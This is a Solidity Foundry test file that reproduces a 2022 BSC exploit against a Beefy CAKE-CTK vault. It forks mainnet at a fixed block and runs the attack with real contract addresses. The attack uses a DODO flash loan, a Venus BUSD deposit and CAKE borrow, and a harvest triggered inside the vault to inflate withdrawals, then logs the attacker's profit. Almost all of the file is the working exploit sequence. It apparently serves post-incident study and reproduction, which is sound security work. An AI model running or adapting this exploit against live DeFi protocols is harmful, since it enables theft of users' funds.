src/test/2022-11/MooCAKECTX_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1589501207181393920
9// https://twitter.com/CertiKAlert/status/1589428153591615488
10// TX
11// https://bscscan.com/tx/0x03d363462519029cf9a544d44046cad0c7e64c5fb1f2adf5dd5438a9a0d2ec8e
12 
13interface VBUSD {
14    function mint(
15        uint256 mintAmount
16    ) external;
17    function redeemUnderlying(
18        uint256 redeemAmount
19    ) external;
20}
21 
22interface VCAKE {
23    function borrow(
24        uint256 borrowAmount
25    ) external;
26    function repayBorrow(
27        uint256 repayAmount
28    ) external;
29}
30 
31interface BeefyVault {
32    function depositAll() external;
33    function withdrawAll() external;
34}
35 
36interface StrategySyrup {
37    function harvest() external;
38}
39 
40contract Harvest {
41    constructor() {
42        StrategySyrup strategySyrup = StrategySyrup(0xC2562DD7E4CAeE53DF0f9cD7d4dDDAa53bcD3D9b);
43        strategySyrup.harvest();
44    }
45}
46 
47interface Unitroller {
48    function getAccountLiquidity(
49        address account
50    ) external returns (uint256, uint256, uint256);
51    function enterMarkets(
52        address[] calldata vTokens
53    ) external;
54}
55 
56contract ContractTest is Test {
57    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
58    IERC20 CTK = IERC20(0xA8c2B8eec3d368C0253ad3dae65a5F2BBB89c929);
59    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
60    IERC20 CAKE = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);
61    VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
62    VCAKE vCAKE = VCAKE(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);
63    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
64    Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
65    BeefyVault beefyVault = BeefyVault(0x489afbAED0Ea796712c9A6d366C16CA3876D8184);
66    address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
67    address constant SmartChef = 0xF35d63Df93f32e025bce4A1B98dcEC1fe07AD892;
68 
69    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
70 
71    function setUp() public {
72        // the ankr rpc maybe dont work , please use QuickNode
73        cheats.createSelectFork("bsc", 22_832_427);
74    }
75 
76    function testExploit() public {
77        address(WBNB).call{value: 3 ether}("");
78        WBNBToCTK();
79        CTK.transfer(address(SmartChef), CTK.balanceOf(address(this)));
80        DVM(dodo).flashLoan(0, 400_000 * 1e18, address(this), new bytes(1));
81 
82        emit log_named_decimal_uint("[End] Attacker CAKE balance after exploit", CAKE.balanceOf(address(this)), 18);
83    }
84 
85    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
86        address[] memory cTokens = new address[](2);
87        cTokens[0] = address(vBUSD);
88        cTokens[1] = address(vCAKE);
89        unitroller.enterMarkets(cTokens);
90        BUSD.approve(address(vBUSD), type(uint256).max);
91        vBUSD.mint(BUSD.balanceOf(address(this)));
92        vCAKE.borrow(50_000 * 1e18);
93        CAKE.approve(address(beefyVault), type(uint256).max);
94        beefyVault.depositAll();
95        // Removing this step, the profit seem to be higher 😂
96        // because the harveset() funciton will swap some CAKE to WBNB
97        Harvest harvest = new Harvest();
98        beefyVault.withdrawAll();
99        CAKE.approve(address(vCAKE), type(uint256).max);
100        vCAKE.repayBorrow(50_000 * 1e18);
101        vBUSD.redeemUnderlying(400_000 * 1e18);
102        BUSD.transfer(dodo, 400_000 * 1e18);
103    }
104 
105    function WBNBToCTK() internal {
106        WBNB.approve(address(Router), type(uint256).max);
107        address[] memory path = new address[](2);
108        path[0] = address(WBNB);
109        path[1] = address(CTK);
110        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
111            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
112        );
113    }
114}